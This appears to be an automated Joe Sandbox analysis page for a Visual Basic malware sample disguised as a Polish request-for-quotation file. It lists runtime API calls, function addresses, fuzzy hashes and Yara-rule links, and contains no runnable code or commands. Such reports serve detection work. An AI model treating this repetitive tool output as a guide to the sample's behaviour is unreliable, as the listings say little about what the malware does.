__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6CF7A323,6CF8D8B1,6CF8D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Move$Free$Error$#631System$#616ListUnlock$BoundsBstrGenerate$CopyLockOverflow
String ID:
API String ID: 1595817071-0
Opcode ID: fb2a2bfa88c22efa9ac14300410e64a9e07382cf4d2ae5499a4c189e4441db04
Instruction ID: 643dac4b4df38dfcdabcb7d24b6f5cff0a220186fca35a0c0bc2019b66c0cc28
Opcode Fuzzy Hash: fb2a2bfa88c22efa9ac14300410e64a9e07382cf4d2ae5499a4c189e4441db04
Instruction Fuzzy Hash: 78E119B0E002189BDB14DFA5DD84AEEBBB9FF48300F50856EE50AE7250DB745986CF58

Function 0041725A Relevance: 58.8, APIs: 39, Instructions: 312COMMON

Download Yara Rule

APIs

__vbaLenBstr.MSVBVM60(00000000), ref: 00417261
#631.MSVBVM60(00000000,-00000001,?), ref: 00417294
__vbaFreeStr.MSVBVM60 ref: 004172B5
__vbaFreeVar.MSVBVM60 ref: 004172BE
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6CF7A323,6CF8D8B1,6CF8D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Move$ErrorFree$System$Unlock$#631BoundsBstrGenerateList$#616CopyLockOverflow
String ID:
API String ID: 1495372892-0
Opcode ID: 22a3bcf0e505ccb7d1cfaf72ba36ede29405f1e0ff0f99610f098486df82b262
Instruction ID: a67bb8bcd321ef6f9d89d5af411f850dddceec761c9aca37c4a66d17d3038916
Opcode Fuzzy Hash: 22a3bcf0e505ccb7d1cfaf72ba36ede29405f1e0ff0f99610f098486df82b262
Instruction Fuzzy Hash: 19C127B0E002199FCB14DFA5DD84AEEBBB9FB48300F50816EE50AA7250DB746985CF58

Function 004171D7 Relevance: 57.3, APIs: 38, Instructions: 310COMMON

Download Yara Rule

APIs

#631.MSVBVM60(00000000,-00000001,?), ref: 00417209
__vbaFreeStr.MSVBVM60 ref: 0041722A
__vbaFreeVar.MSVBVM60 ref: 00417233
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6CF7A323,6CF8D8B1,6CF8D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Move$ErrorFree$System$Unlock$#631BoundsGenerateList$#616BstrCopyLockOverflow
String ID:
API String ID: 591398060-0
Opcode ID: 961b67fc1f124d54495ebaca63011b730f5cf7ed414c292a9bb7346f90505c59
Instruction ID: 5850bdb2f8cb840655fe358dbb68f1bf167492e12e76f8ba6df4694bbfc137e4
Opcode Fuzzy Hash: 961b67fc1f124d54495ebaca63011b730f5cf7ed414c292a9bb7346f90505c59
Instruction Fuzzy Hash: 88C117B0E002199FDB14DFA9DD84AEEBBB9FB48300F50816EE509A7250DB746985CF58

Function 00417143 Relevance: 55.8, APIs: 37, Instructions: 288COMMON

Download Yara Rule

APIs

__vbaInStr.MSVBVM60(00000000,Function_00009254,00000000,00000000), ref: 00417157
__vbaLenBstr.MSVBVM60(00000000), ref: 00417180
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6CF7A323,6CF8D8B1,6CF8D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaSetSystemError.MSVBVM60 ref: 00417B9B

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$ErrorFreeMove$BstrSystemUnlock$#616#631BoundsCopyGenerateListLockOverflow
String ID:
API String ID: 4020600759-0
Opcode ID: 01b4123d1384e175d7db15ed5fda37c47c0d54542c8545c3d7772e666950e406
Instruction ID: 6f59f1f6fd00cf4eb64356afd8b00aa24b7c42f8971466ecdf1fdd0f8cb9e506
Opcode Fuzzy Hash: 01b4123d1384e175d7db15ed5fda37c47c0d54542c8545c3d7772e666950e406
Instruction Fuzzy Hash: D8C108B1E00218DFDB14DFA9DD84AEEBBB9FB48300F50816EE509A7250DB745985CF58

Function 00417190 Relevance: 54.3, APIs: 36, Instructions: 286COMMON

Download Yara Rule

APIs

#709.MSVBVM60(00000000,Function_00009254,00000000,00000000), ref: 004171A4
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6CF7A323,6CF8D8B1,6CF8D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaSetSystemError.MSVBVM60 ref: 00417B9B

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$ErrorFreeMove$SystemUnlock$#616#631#709BoundsBstrCopyGenerateListLockOverflow
String ID:
API String ID: 2767930602-0
Opcode ID: da9e1a5cc3e3cb8c691cd4fe22436f69490de0b4f09a0e23afe83290d4890e94
Instruction ID: fd14dd4b6f58a52c042ba838fbe59068618bb76b1adec8898ddb627e80e0b945
Opcode Fuzzy Hash: da9e1a5cc3e3cb8c691cd4fe22436f69490de0b4f09a0e23afe83290d4890e94
Instruction Fuzzy Hash: 6DB118B1E00218DFDB24DFA5DD84AEEBBB9FB48300F50816EE509A7250DB745985CF58

Function 004179F2 Relevance: 25.7, APIs: 17, Instructions: 200COMMON

Download Yara Rule

APIs

__vbaAryLock.MSVBVM60(?,00000000,6CF7A323,6CF8D8B1,6CF8D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2
__vbaStrCat.MSVBVM60(?,004096D4,00000000,00000001), ref: 00417CE8
__vbaStrMove.MSVBVM60 ref: 00417CEF
__vbaStrCat.MSVBVM60(004096D4,00000000), ref: 00417CF7
__vbaStrMove.MSVBVM60 ref: 00417CFE
__vbaStrCat.MSVBVM60(?,00000000), ref: 00417D05
__vbaStrMove.MSVBVM60 ref: 00417D0C
__vbaStrCat.MSVBVM60(004096D4,00000000), ref: 00417D14
__vbaStrMove.MSVBVM60 ref: 00417D1B
__vbaInStr.MSVBVM60(00000001,00000000), ref: 00417D20
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 00417D41
#618.MSVBVM60(00000000,00000003), ref: 00417D6E
__vbaStrMove.MSVBVM60 ref: 00417D79
__vbaStrCat.MSVBVM60(Function_00009254,004096CC,00000000), ref: 00417D86
__vbaStrMove.MSVBVM60 ref: 00417D8D
__vbaStrCmp.MSVBVM60(00000000), ref: 00417D90
__vbaSetSystemError.MSVBVM60(00000000,?,?,?,6CF7A323,6CF8D8B1,6CF8D8E2), ref: 00418B33
__vbaAryUnlock.MSVBVM60(?,00418BE2), ref: 00418BB3
__vbaAryUnlock.MSVBVM60(?), ref: 00418BBC
__vbaAryUnlock.MSVBVM60(?), ref: 00418BC5
__vbaFreeStr.MSVBVM60 ref: 00418BD0
__vbaFreeStr.MSVBVM60 ref: 00418BD5
__vbaFreeStr.MSVBVM60 ref: 00418BDA
__vbaFreeStr.MSVBVM60 ref: 00418BDF

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Move$ErrorFree$SystemUnlock$BoundsGenerateList$#618Lock
String ID:
API String ID: 2878159455-0
Opcode ID: 5be16d220d7e56eae9262f8b4a6e97e2f65e3b200773761827ff221150c3b68a
Instruction ID: 2780b2efc1f4126fd3daf783c884f47e51bc0b84df1625baa5224246725a4293
Opcode Fuzzy Hash: 5be16d220d7e56eae9262f8b4a6e97e2f65e3b200773761827ff221150c3b68a
Instruction Fuzzy Hash: 9A7117B0E042189FCB14DFA9DDC4AEEBBB5FB48300F6081AEE509A7250DB745A85CF54

Function 004259A0 Relevance: 163.2, APIs: 92, Strings: 1, Instructions: 495COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(6D076537,00000000,00000000), ref: 00425A0A
__vbaStrCopy.MSVBVM60 ref: 00425A12
__vbaOnError.MSVBVM60(00000001), ref: 00425A16
#648.MSVBVM60(0000000A), ref: 00425A2E
__vbaFreeVar.MSVBVM60 ref: 00425A3D
__vbaI2I4.MSVBVM60(?), ref: 00425A4F
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00425A59
__vbaI2I4.MSVBVM60 ref: 00425A61
#570.MSVBVM60(00000000), ref: 00425A64
__vbaLenBstr.MSVBVM60(0040545C), ref: 00425A74
__vbaStrCopy.MSVBVM60 ref: 00425A93

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?), ref: 00425AA9
__vbaFreeStr.MSVBVM60 ref: 00425AAE
__vbaLenBstr.MSVBVM60(0040545C), ref: 00425AC2
#525.MSVBVM60(00000000), ref: 00425AC9
__vbaStrMove.MSVBVM60 ref: 00425AD4
__vbaI2I4.MSVBVM60 ref: 00425AD9
__vbaGet4.MSVBVM60(00000000,?,-00000001,00000000), ref: 00425AE3

Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0041176F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 00411778
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117A9
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117B4
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 004117BB
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0041180F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411818
Part of subcall function 004115D0: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 00411853
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411864
Part of subcall function 004115D0: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 00411867
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411872
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411877

__vbaStrMove.MSVBVM60(?), ref: 00425AF7
__vbaStrMove.MSVBVM60(00000003), ref: 00425B08
#616.MSVBVM60(00000000), ref: 00425B0B
__vbaStrMove.MSVBVM60 ref: 00425B16
__vbaStrCmp.MSVBVM60(?,00000000), ref: 00425B1D
__vbaFreeStrList.MSVBVM60(00000003,?,?,00000000), ref: 00425B3F
__vbaStrMove.MSVBVM60(?), ref: 00425B64
__vbaStrMove.MSVBVM60(00000004,?), ref: 00425B79
#618.MSVBVM60(00000000), ref: 00425B7C
__vbaStrMove.MSVBVM60 ref: 00425B87
__vbaStrCat.MSVBVM60(00000000), ref: 00425B8A
__vbaStrMove.MSVBVM60(00000000), ref: 00425BA5
__vbaFreeStrList.MSVBVM60(00000004,?,?,00000000,00000000), ref: 00425BB9
__vbaI2I4.MSVBVM60 ref: 00425BCE
__vbaGet4.MSVBVM60(00000004,?,-00000005,00000000), ref: 00425BD8
__vbaStrMove.MSVBVM60 ref: 00425B95

Part of subcall function 00411210: #594.MSVBVM60(?,6CF8D9F5,-00000001,6CF8D8B1), ref: 0041127A
Part of subcall function 00411210: __vbaFreeVar.MSVBVM60 ref: 00411283
Part of subcall function 00411210: __vbaLenBstr.MSVBVM60 ref: 0041128F
Part of subcall function 00411210: #631.MSVBVM60(?,?,0000000A), ref: 004112C8
Part of subcall function 00411210: __vbaStrMove.MSVBVM60(?,?,0000000A), ref: 004112D3
Part of subcall function 00411210: #516.MSVBVM60(00000000,?,?,0000000A), ref: 004112DA
Part of subcall function 00411210: __vbaFreeStr.MSVBVM60(?,?,0000000A), ref: 004112E9
Part of subcall function 00411210: __vbaFreeVar.MSVBVM60(?,?,0000000A), ref: 004112F2

__vbaStrCat.MSVBVM60(0000,?), ref: 00425C10
__vbaStrMove.MSVBVM60 ref: 00425C1B
__vbaStrCat.MSVBVM60(0000,?), ref: 00425C2C
__vbaStrMove.MSVBVM60 ref: 00425C37
__vbaStrMove.MSVBVM60(?), ref: 00425C47
__vbaFreeStr.MSVBVM60 ref: 00425C4C
__vbaI2I4.MSVBVM60 ref: 00425C55
__vbaFileSeek.MSVBVM60(00000001,00000000), ref: 00425C5A
#648.MSVBVM60(0000000A), ref: 00425C72
__vbaFreeVar.MSVBVM60 ref: 00425C81
__vbaI2I4.MSVBVM60(?), ref: 00425C8D
__vbaFileOpen.MSVBVM60(00000220,000000FF,00000000), ref: 00425C97
#525.MSVBVM60(00001000), ref: 00425CA2
__vbaStrMove.MSVBVM60 ref: 00425CAD
__vbaI2I4.MSVBVM60 ref: 00425CE3
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00425CEC
__vbaI2I4.MSVBVM60 ref: 00425CF4
__vbaPut3.MSVBVM60(00000000,?,00000000), ref: 00425CFD
#525.MSVBVM60(?), ref: 00425D29
__vbaStrMove.MSVBVM60 ref: 00425D34
__vbaI2I4.MSVBVM60 ref: 00425D39
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00425D42
__vbaI2I4.MSVBVM60 ref: 00425D4A
__vbaPut3.MSVBVM60(00000000,?,00000000), ref: 00425D53
#594.MSVBVM60(0000000A), ref: 00425D77
__vbaFreeVar.MSVBVM60 ref: 00425D80
__vbaRedim.MSVBVM60(00000080,00000001,?,00000011,00000001,000000FF,00000000), ref: 00425D9C
#593.MSVBVM60(0000000A), ref: 00425DC6
__vbaGenerateBoundsError.MSVBVM60 ref: 00425DEF
__vbaGenerateBoundsError.MSVBVM60 ref: 00425DFD
__vbaFpUI1.MSVBVM60 ref: 00425E1F
__vbaFreeVar.MSVBVM60 ref: 00425E37
__vbaSetSystemError.MSVBVM60 ref: 00425E5F
__vbaI2I4.MSVBVM60 ref: 00425EAD
__vbaPutOwner3.MSVBVM60(0040A08C,?,00000000), ref: 00425EB9

Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 0041189C
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(004118D5), ref: 004118CE

#593.MSVBVM60(0000000A), ref: 00425EF3
__vbaFpI4.MSVBVM60 ref: 00425F15
__vbaFreeVar.MSVBVM60 ref: 00425F20
__vbaSetSystemError.MSVBVM60 ref: 00425F34
__vbaRedimPreserve.MSVBVM60(00000080,00000001,?,00000011,00000001,00000000,00000000), ref: 00425F4C
__vbaI2I4.MSVBVM60 ref: 00425F57
__vbaPutOwner3.MSVBVM60(0040A08C,?,00000000), ref: 00425F63
__vbaI2I4.MSVBVM60 ref: 00425F82
